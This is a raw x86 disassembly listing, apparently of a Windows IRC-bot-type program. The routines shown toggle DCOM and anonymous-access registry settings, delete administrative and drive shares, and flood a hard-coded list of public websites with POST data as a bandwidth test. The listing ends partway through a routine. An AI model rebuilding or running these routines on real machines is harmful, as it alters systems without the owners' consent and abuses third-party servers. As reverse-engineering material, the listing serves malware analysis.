lea eax, [ebp+var_178]
push esi
push eax
push 104h
push esi
push offset dword_4346E0
push esi
call dword_4CBA90
test eax, eax
jz loc_41A2AB
push 1
lea eax, [ebp+var_1C]
pop ebx
mov edi, dword_427108
push esi
push eax
lea eax, [ebp+var_C]
mov [ebp+var_1C], 0Ch
push eax
lea eax, [ebp+var_10]
push eax
mov [ebp+var_14], ebx
mov [ebp+var_18], esi
call edi
test eax, eax
jz loc_41A2AB
lea eax, [ebp+var_1C]
push esi
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
call edi
test eax, eax
jz loc_41A2AB
mov edi, dword_427104
push 3
push esi
push esi
push offset dword_4DBC4C
call edi
push eax
push [ebp+var_8]
call edi
push eax
call near ptr 2720000h
nop
test eax, eax
jz short loc_41A2AB
push 10h
lea eax, [ebp+var_2C]
push esi
push eax
call sub_41BF70
push 44h
lea eax, [ebp+var_74]
pop edi
push edi
push esi
push eax
call sub_41BF70
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_3C], eax
mov eax, [ebp+var_C]
mov [ebp+var_38], eax
mov [ebp+var_34], eax
lea eax, [ebp+var_2C]
mov [ebp+var_74], edi
push eax
lea eax, [ebp+var_74]
push eax
push esi
push esi
push esi
push ebx
push esi
mov ebx, offset byte_43DB88
push esi
lea eax, [ebp+var_178]
push ebx
push eax
mov [ebp+var_48], 101h
mov [ebp+var_44], si
nop
call near ptr 2660B67h
test eax, eax
jnz short loc_41A2B3
loc_41A2AB: ; CODE XREF: sub_41A1B1+2Fj
; sub_41A1B1+5Cj ...
or eax, 0FFFFFFFFh
jmp loc_41A361
; ---------------------------------------------------------------------------
loc_41A2B3: ; CODE XREF: sub_41A1B1+F8j
push [ebp+var_4]
mov edi, dword_427070
call edi
mov eax, [ebp+var_10]
push [ebp+var_28]
mov dword_4DBC48, eax
mov eax, [ebp+var_8]
mov dword_4DBC50, eax
mov eax, [ebp+var_2C]
mov dword_4DBC44, eax
call edi
mov eax, [ebp+arg_0]
cmp [ebp+arg_4], esi
mov dword_4DBC88, eax
jz short loc_41A2ED
push [ebp+arg_4]
jmp short loc_41A2EE
; ---------------------------------------------------------------------------
loc_41A2ED: ; CODE XREF: sub_41A1B1+135j
push ebx
loc_41A2EE: ; CODE XREF: sub_41A1B1+13Aj
push offset dword_4DBC54
call sub_41C266
pop ecx
pop ecx
push esi
push 0Ah
push offset unk_43A524
call sub_40B3BA
mov edi, eax
mov ecx, [ebp+var_24]
imul edi, 234h
add esp, 0Ch
mov dword_43E918[edi], ecx
lea ecx, [ebp+var_30]
push ecx
push esi
push eax
push offset sub_41A05C
push esi
push esi
nop
call near ptr 2680000h
cmp eax, esi
mov dword_43E924[edi], eax
jnz short loc_41A35F
call near ptr 2680972h
nop
push eax
lea eax, [ebp+var_378]
push offset unk_43A4F0
push eax
call sub_41C266
lea eax, [ebp+var_378]
push eax
call sub_415D38
add esp, 10h
loc_41A35F: ; CODE XREF: sub_41A1B1+185j
xor eax, eax
loc_41A361: ; CODE XREF: sub_41A1B1+FDj
pop edi
pop esi
pop ebx
leave
retn
sub_41A1B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A366 proc near ; DATA XREF: sub_401ACD+2DC8o
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
pop edi
pop esi
push [ebp+var_8]
cmp [ebp+var_10], 0
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
jz short loc_41A3AD
call sub_41A3C6
jmp short loc_41A3B2
; ---------------------------------------------------------------------------
loc_41A3AD: ; CODE XREF: sub_41A366+3Ej
call sub_41A6EA
loc_41A3B2: ; CODE XREF: sub_41A366+45j
add esp, 10h
push [ebp+var_14]
call sub_40B6D6
pop ecx
push 0
nop
call near ptr 26E0000h
sub_41A366 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A3C6 proc near ; CODE XREF: sub_41A366+40p
var_214 = byte ptr -214h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 214h
push esi
push edi
xor edi, edi
cmp dword_4CBAA4, edi
jnz loc_41A4F8
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push edi
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_4CBA44
test eax, eax
jnz short loc_41A451
mov ax, word_439298
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push edi
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_4CB9F8
test eax, eax
jz short loc_41A433
push offset dword_43A7C0
jmp short loc_41A438
; ---------------------------------------------------------------------------
loc_41A433: ; CODE XREF: sub_41A3C6+64j
push offset dword_43A7A0
loc_41A438: ; CODE XREF: sub_41A3C6+6Bj
lea eax, [ebp+var_214]
push eax
call sub_41C266
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CB9B0
jmp short loc_41A464
; ---------------------------------------------------------------------------
loc_41A451: ; CODE XREF: sub_41A3C6+36j
lea eax, [ebp+var_214]
push offset dword_43A770
push eax
call sub_41C266
pop ecx
pop ecx
loc_41A464: ; CODE XREF: sub_41A3C6+89j
cmp [ebp+arg_C], edi
jnz short loc_41A483
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A483: ; CODE XREF: sub_41A3C6+A1j
lea eax, [ebp+var_214]
push eax
call sub_415D38
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push edi
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_4CBA44
test eax, eax
jnz short loc_41A4F1
lea eax, [ebp+var_8]
push 4
push eax
push 4
push edi
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], 1
call dword_4CB9F8
test eax, eax
jz short loc_41A4D3
push offset dword_43A720
jmp short loc_41A4D8
; ---------------------------------------------------------------------------
loc_41A4D3: ; CODE XREF: sub_41A3C6+104j
push offset dword_43A6EC
loc_41A4D8: ; CODE XREF: sub_41A3C6+10Bj
lea eax, [ebp+var_214]
push eax
call sub_41C266
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CB9B0
jmp short loc_41A50B
; ---------------------------------------------------------------------------
loc_41A4F1: ; CODE XREF: sub_41A3C6+E2j
push offset dword_43A6B0
jmp short loc_41A4FD
; ---------------------------------------------------------------------------
loc_41A4F8: ; CODE XREF: sub_41A3C6+13j
push offset dword_43A680
loc_41A4FD: ; CODE XREF: sub_41A3C6+130j
lea eax, [ebp+var_214]
push eax
call sub_41C266
pop ecx
pop ecx
loc_41A50B: ; CODE XREF: sub_41A3C6+129j
cmp [ebp+arg_C], edi
jnz short loc_41A52A
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A52A: ; CODE XREF: sub_41A3C6+148j
lea eax, [ebp+var_214]
push eax
call sub_415D38
cmp dword_4CBACC, edi
pop ecx
jnz loc_41A6A5
push ebx
mov [ebp+var_4], edi
mov [ebp+var_14], edi
mov [ebp+var_C], edi
loc_41A54D: ; CODE XREF: sub_41A3C6+2C3j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push 0FFFFFFFFh
push eax
push 1F6h
push edi
call dword_4CB918
cmp eax, edi
mov [ebp+var_10], eax
jz short loc_41A5EA
cmp eax, 0EAh
jz short loc_41A5EA
mov esi, offset off_43A548
loc_41A57E: ; CODE XREF: sub_41A3C6+21Dj
push dword ptr [esi]
push edi
call sub_4191B8
pop ecx
pop ecx
push dword ptr [esi]
test eax, eax
jnz short loc_41A595
push offset dword_43A65C
jmp short loc_41A59A
; ---------------------------------------------------------------------------
loc_41A595: ; CODE XREF: sub_41A3C6+1C6j
push offset dword_43A630
loc_41A59A: ; CODE XREF: sub_41A3C6+1CDj
lea eax, [ebp+var_214]
push 200h
push eax
call sub_41C360
add esp, 10h
cmp [ebp+arg_C], edi
jnz short loc_41A5CD
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A5CD: ; CODE XREF: sub_41A3C6+1EBj
lea eax, [ebp+var_214]
push eax
call sub_415D38
add esi, 8
pop ecx
cmp esi, offset off_43A568
jb short loc_41A57E
jmp loc_41A682
; ---------------------------------------------------------------------------
loc_41A5EA: ; CODE XREF: sub_41A3C6+1AAj
; sub_41A3C6+1B1j
mov esi, [ebp+var_8]
push 1
pop ebx
cmp [ebp+var_4], ebx
jb loc_41A679
loc_41A5F9: ; CODE XREF: sub_41A3C6+2AFj
mov edi, [esi]
push edi
call sub_41E0B7
cmp word ptr [edi+eax*2-2], 24h
pop ecx
jnz short loc_41A66E
push edi
call sub_4190A5
push eax
push 0
call sub_4191B8
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_41A628
push offset dword_43A60C
jmp short loc_41A62D
; ---------------------------------------------------------------------------
loc_41A628: ; CODE XREF: sub_41A3C6+259j
push offset dword_43A5E0
loc_41A62D: ; CODE XREF: sub_41A3C6+260j
lea eax, [ebp+var_214]
push 200h
push eax
call sub_41C360
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_41A661
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A661: ; CODE XREF: sub_41A3C6+27Fj
lea eax, [ebp+var_214]
push eax
call sub_415D38
pop ecx
loc_41A66E: ; CODE XREF: sub_41A3C6+242j
add esi, 28h
inc ebx
cmp ebx, [ebp+var_4]
jbe short loc_41A5F9
xor edi, edi
loc_41A679: ; CODE XREF: sub_41A3C6+22Dj
push [ebp+var_8]
call dword_4CBA64
loc_41A682: ; CODE XREF: sub_41A3C6+21Fj
cmp [ebp+var_10], 0EAh
jz loc_41A54D
lea eax, [ebp+var_214]
push offset dword_43A5B8
push eax
call sub_41C266
pop ecx
pop ecx
pop ebx
jmp short loc_41A6B8
; ---------------------------------------------------------------------------
loc_41A6A5: ; CODE XREF: sub_41A3C6+177j
lea eax, [ebp+var_214]
push offset dword_43A588
push eax
call sub_41C266
pop ecx
pop ecx
loc_41A6B8: ; CODE XREF: sub_41A3C6+2DDj
cmp [ebp+arg_C], edi
jnz short loc_41A6D6
push edi
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A6D6: ; CODE XREF: sub_41A3C6+2F5j
lea eax, [ebp+var_214]
push eax
call sub_415D38
pop ecx
push 1
pop eax
pop edi
pop esi
leave
retn
sub_41A3C6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A6EA proc near ; CODE XREF: sub_41A366:loc_41A3ADp
var_220 = byte ptr -220h
var_20 = byte ptr -20h
var_14 = byte ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 220h
push ebx
xor ebx, ebx
cmp dword_4CBAA4, ebx
push esi
jnz loc_41A818
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push ebx
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_4CBA44
test eax, eax
jnz short loc_41A775
mov ax, word_4392DC
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push ebx
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_4CB9F8
test eax, eax
jz short loc_41A757
push offset dword_43A938
jmp short loc_41A75C
; ---------------------------------------------------------------------------
loc_41A757: ; CODE XREF: sub_41A6EA+64j
push offset dword_43A91C
loc_41A75C: ; CODE XREF: sub_41A6EA+6Bj
lea eax, [ebp+var_220]
push eax
call sub_41C266
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CB9B0
jmp short loc_41A788
; ---------------------------------------------------------------------------
loc_41A775: ; CODE XREF: sub_41A6EA+36j
lea eax, [ebp+var_220]
push offset dword_43A770
push eax
call sub_41C266
pop ecx
pop ecx
loc_41A788: ; CODE XREF: sub_41A6EA+89j
cmp [ebp+arg_C], ebx
jnz short loc_41A7A7
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A7A7: ; CODE XREF: sub_41A6EA+A1j
lea eax, [ebp+var_220]
push eax
call sub_415D38
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push ebx
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_4CBA44
test eax, eax
jnz short loc_41A811
lea eax, [ebp+var_8]
push 4
push eax
push 4
push ebx
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], ebx
call dword_4CB9F8
test eax, eax
jz short loc_41A7F3
push offset dword_43A8DC
jmp short loc_41A7F8
; ---------------------------------------------------------------------------
loc_41A7F3: ; CODE XREF: sub_41A6EA+100j
push offset dword_43A8A4
loc_41A7F8: ; CODE XREF: sub_41A6EA+107j
lea eax, [ebp+var_220]
push eax
call sub_41C266
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CB9B0
jmp short loc_41A82B
; ---------------------------------------------------------------------------
loc_41A811: ; CODE XREF: sub_41A6EA+E2j
push offset dword_43A868
jmp short loc_41A81D
; ---------------------------------------------------------------------------
loc_41A818: ; CODE XREF: sub_41A6EA+13j
push offset dword_43A680
loc_41A81D: ; CODE XREF: sub_41A6EA+12Cj
lea eax, [ebp+var_220]
push eax
call sub_41C266
pop ecx
pop ecx
loc_41A82B: ; CODE XREF: sub_41A6EA+125j
cmp [ebp+arg_C], ebx
jnz short loc_41A84A
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A84A: ; CODE XREF: sub_41A6EA+144j
lea eax, [ebp+var_220]
push eax
call sub_415D38
cmp dword_4CBACC, ebx
pop ecx
jnz loc_41A9BF
push edi
mov esi, offset off_43A548
mov edi, 200h
loc_41A86E: ; CODE XREF: sub_41A6EA+1E9j
push dword ptr [esi+4]
push dword ptr [esi]
push ebx
call sub_41910C
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_41A889
push offset dword_43A848
jmp short loc_41A88E
; ---------------------------------------------------------------------------
loc_41A889: ; CODE XREF: sub_41A6EA+196j
push offset dword_43A820
loc_41A88E: ; CODE XREF: sub_41A6EA+19Dj
lea eax, [ebp+var_220]
push edi
push eax
call sub_41C360
add esp, 10h
cmp [ebp+arg_C], ebx
jnz short loc_41A8BD
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A8BD: ; CODE XREF: sub_41A6EA+1B7j
lea eax, [ebp+var_220]
push eax
call sub_415D38
add esi, 8
pop ecx
cmp esi, offset off_43A558
jb short loc_41A86E
nop
call near ptr 2820CE0h
test eax, eax
mov [ebp+var_4], eax
mov bl, 41h
jz loc_41A9A7
loc_41A8E8: ; CODE XREF: sub_41A6EA+2B7j
mov eax, [ebp+var_4]
and eax, 1
cmp al, 1
jnz loc_41A99C
cmp bl, 41h
jz loc_41A99C
movsx esi, bl
push esi
push offset aC_2 ; "%c$"
lea eax, [ebp+var_14]
push 0Ah
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_20]
push esi
push offset aC_1 ; "%c:\\"
push 0Ah
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_20]
push eax
call dword_4CBA34
cmp eax, 3
jnz short loc_41A99C
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
push 0
call sub_41910C
add esp, 0Ch
test eax, eax
lea eax, [ebp+var_14]
push eax
jnz short loc_41A95A
push offset dword_43A848
jmp short loc_41A95F
; ---------------------------------------------------------------------------
loc_41A95A: ; CODE XREF: sub_41A6EA+267j
push offset dword_43A820
loc_41A95F: ; CODE XREF: sub_41A6EA+26Ej
lea eax, [ebp+var_220]
push edi
push eax
call sub_41C360
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_41A98F
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A98F: ; CODE XREF: sub_41A6EA+289j
lea eax, [ebp+var_220]
push eax
call sub_415D38
pop ecx
loc_41A99C: ; CODE XREF: sub_41A6EA+206j
; sub_41A6EA+20Fj ...
inc bl
shr [ebp+var_4], 1
jnz loc_41A8E8
loc_41A9A7: ; CODE XREF: sub_41A6EA+1F8j
lea eax, [ebp+var_220]
push offset dword_43A7F0
push eax
call sub_41C266
pop ecx
xor ebx, ebx
pop ecx
pop edi
jmp short loc_41A9D2
; ---------------------------------------------------------------------------
loc_41A9BF: ; CODE XREF: sub_41A6EA+173j
lea eax, [ebp+var_220]
push offset dword_43A588
push eax
call sub_41C266
pop ecx
pop ecx
loc_41A9D2: ; CODE XREF: sub_41A6EA+2D3j
cmp [ebp+arg_C], ebx
jnz short loc_41A9F0
push ebx
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A9F0: ; CODE XREF: sub_41A6EA+2EBj
lea eax, [ebp+var_220]
push eax
call sub_415D38
pop ecx
push 1
pop eax
pop esi
pop ebx
leave
retn
sub_41A6EA endp
; =============== S U B R O U T I N E =======================================
sub_41AA04 proc near ; CODE XREF: sub_41ABFB+CBp
; sub_41ABFB+DDp ...
arg_0 = dword ptr 4
nop
call near ptr 269083Ah
push eax
call sub_41C2B8
pop ecx
call sub_41C2C2
cdq
idiv [esp+arg_0]
mov eax, edx
retn
sub_41AA04 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AA1E proc near ; CODE XREF: sub_41ABFB+D4p
; sub_41ABFB+E6p ...
var_38 = dword ptr -38h
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = qword ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_41B9C0
mov esi, 0FFh
pop ecx
cmp eax, esi
ja loc_41ABF7
push 10h
lea eax, [ebp+var_28]
push 0
push eax
call sub_41BF70
push [ebp+arg_0]
mov [ebp+var_28], 2
call sub_40A8F0
add esp, 10h
mov [ebp+var_24], eax
test eax, eax
jz loc_41ABF7
push 50h
call dword_4CB9D4
push 6
push 1
push 2
mov [ebp+var_26], ax
call dword_4CBA54
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_41ABF7
lea ecx, [ebp+var_28]
push 10h
push ecx
push eax
call dword_4CB97C
cmp eax, 0FFFFFFFFh
jz loc_41ABF7
push 32003h
call sub_41D9A5
mov edi, dword_4270B0
mov ebx, eax
pop ecx
mov [ebp+var_8], ebx
call edi
push eax
call sub_41C2B8
call sub_41C2C2
cdq
idiv esi
mov [esp+38h+var_38], 32001h
push 0
push ebx
movsx esi, dl
call sub_41BF70
push 32000h
push esi
push ebx
call sub_41BF70
push ebx
call sub_41B9C0
push 323EAh
mov ebx, eax
call sub_41D9A5
add esp, 20h
mov esi, eax
push ebx
push [ebp+arg_0]
push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
push esi
call sub_41C266
push [ebp+var_8]
push esi
call sub_41C8A0
push offset asc_4349EC ; "\r\n"
push esi
call sub_41C8A0
push esi
call sub_41B9C0
mov ebx, eax
add esp, 24h
mov [ebp+var_10], ebx
call edi
mov dword ptr [ebp+var_18+4], eax
xor eax, eax
test ebx, ebx
mov [ebp+arg_0], eax
jbe short loc_41AB77
mov [ebp+var_C], ebx
mov ebx, 400h
jmp short loc_41AB47
; ---------------------------------------------------------------------------
loc_41AB44: ; CODE XREF: sub_41AA1E+157j
mov eax, [ebp+arg_0]
loc_41AB47: ; CODE XREF: sub_41AA1E+124j
mov ecx, [ebp+var_10]
push 0
sub ecx, eax
cmp ecx, ebx
jnb short loc_41AB57
push [ebp+var_C]
jmp short loc_41AB58
; ---------------------------------------------------------------------------
loc_41AB57: ; CODE XREF: sub_41AA1E+132j
push ebx
loc_41AB58: ; CODE XREF: sub_41AA1E+137j
add eax, esi
push eax
push [ebp+var_4]
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jz short loc_41ABDE
add [ebp+arg_0], ebx
sub [ebp+var_C], ebx
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_10]
jb short loc_41AB44
loc_41AB77: ; CODE XREF: sub_41AA1E+11Aj
call edi
sub eax, dword ptr [ebp+var_18+4]
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
fmul flt_4276F4
fst [ebp+arg_0]
fcomp flt_4276F0
fnstsw ax
sahf
jnz short loc_41AB9F
fld1
fstp [ebp+arg_0]
loc_41AB9F: ; CODE XREF: sub_41AA1E+17Aj
push [ebp+var_4]
call dword_4CBA6C
push [ebp+var_8]
call sub_41BA91
push esi
call sub_41BA91
mov eax, [ebp+var_10]
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
pop ecx
fild [ebp+var_18]
pop ecx
fdiv [ebp+arg_0]
fmul flt_4276EC
fmul flt_4276E8
call sub_41D174
loc_41ABD9: ; CODE XREF: sub_41AA1E+1DBj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41ABDE: ; CODE XREF: sub_41AA1E+149j
push [ebp+var_4]
call dword_4CBA6C
push [ebp+var_8]
call sub_41BA91
push esi
call sub_41BA91
pop ecx
pop ecx
loc_41ABF7: ; CODE XREF: sub_41AA1E+19j
; sub_41AA1E+42j ...
xor eax, eax
jmp short loc_41ABD9
sub_41AA1E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ABFB proc near ; CODE XREF: sub_401ACD+2E1Ep
var_26C = byte ptr -26Ch
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 26Ch
push ebx
push esi
push edi
push 8
mov [ebp+var_4], 3
mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
mov [ebp+var_34], offset aVerio_fr ; "verio.fr"
mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
mov [ebp+var_20], offset aWww_google_it ; "www.google.it"
mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com"
mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net"
mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
mov [ebp+var_48], offset aWww_above_net ; "www.above.net"
mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
mov [ebp+var_40], offset aWww_google_com ; "www.google.com"
mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
call sub_41AA04
push [ebp+eax*4+var_3C]
call sub_41AA1E
push 8
mov esi, eax
call sub_41AA04
push [ebp+eax*4+var_3C]
call sub_41AA1E
add esp, 10h
test esi, esi
jz short loc_41ACFC
test eax, eax
jz short loc_41ACF8
lea ebx, [eax+esi]
shr ebx, 1
jmp short loc_41ACFE
; ---------------------------------------------------------------------------
loc_41ACF8: ; CODE XREF: sub_41ABFB+F4j
mov ebx, esi
jmp short loc_41ACFE
; ---------------------------------------------------------------------------
loc_41ACFC: ; CODE XREF: sub_41ABFB+F0j
mov ebx, eax
loc_41ACFE: ; CODE XREF: sub_41ABFB+FBj
; sub_41ABFB+FFj
push 0Ch
call sub_41AA04
push [ebp+eax*4+var_6C]
call sub_41AA1E
push 0Ch
mov edi, eax
call sub_41AA04
push [ebp+eax*4+var_6C]
call sub_41AA1E
add esp, 10h
test edi, edi
jz short loc_41AD36
test eax, eax
jz short loc_41AD32
lea esi, [eax+edi]
shr esi, 1
jmp short loc_41AD38
; ---------------------------------------------------------------------------
loc_41AD32: ; CODE XREF: sub_41ABFB+12Ej
mov esi, edi
jmp short loc_41AD38
; ---------------------------------------------------------------------------
loc_41AD36: ; CODE XREF: sub_41ABFB+12Aj
mov esi, eax
loc_41AD38: ; CODE XREF: sub_41ABFB+135j
; sub_41ABFB+139j
push 6
call sub_41AA04
push [ebp+eax*4+var_1C]
call sub_41AA1E
push 6
mov edi, eax
call sub_41AA04
push [ebp+eax*4+var_1C]
call sub_41AA1E
add esp, 10h
test edi, edi
jz short loc_41AD70
test eax, eax
jz short loc_41AD6C
lea ecx, [eax+edi]
shr ecx, 1
jmp short loc_41AD72
; ---------------------------------------------------------------------------
loc_41AD6C: ; CODE XREF: sub_41ABFB+168j
mov ecx, edi
jmp short loc_41AD72
; ---------------------------------------------------------------------------
loc_41AD70: ; CODE XREF: sub_41ABFB+164j
mov ecx, eax
loc_41AD72: ; CODE XREF: sub_41ABFB+16Fj
; sub_41ABFB+173j
xor eax, eax
test ebx, ebx
jz short loc_41AD7F
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_41AD82
; ---------------------------------------------------------------------------
loc_41AD7F: ; CODE XREF: sub_41ABFB+17Bj
push 2
pop edi
loc_41AD82: ; CODE XREF: sub_41ABFB+182j
test esi, esi
jz short loc_41AD8A
add eax, esi
jmp short loc_41AD8B
; ---------------------------------------------------------------------------
loc_41AD8A: ; CODE XREF: sub_41ABFB+189j
dec edi
loc_41AD8B: ; CODE XREF: sub_41ABFB+18Dj
test ecx, ecx
jz short loc_41AD93
add eax, ecx
jmp short loc_41AD94
; ---------------------------------------------------------------------------
loc_41AD93: ; CODE XREF: sub_41ABFB+192j
dec edi
loc_41AD94: ; CODE XREF: sub_41ABFB+196j
xor edx, edx
div edi
push eax
push ecx
push esi
push ebx
lea eax, [ebp+var_26C]
push offset dword_43A990
push eax
call sub_41C266
push 0
lea eax, [ebp+var_26C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
lea eax, [ebp+var_26C]
push eax
call sub_415D38
add esp, 30h
pop edi
pop esi
pop ebx
leave
retn
sub_41ABFB endp
; =============== S U B R O U T I N E =======================================
sub_41ADD8 proc near ; CODE XREF: sub_401ACD+257Bp
; sub_401ACD+29CDp ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
nop
call near ptr 269083Ah
xor edx, edx
mov ecx, 3E8h
div ecx
mov ebx, 15180h
xor edx, edx
mov esi, ebx
mov edi, 0E10h
mov ebp, edi
push 3Ch
mov ecx, eax
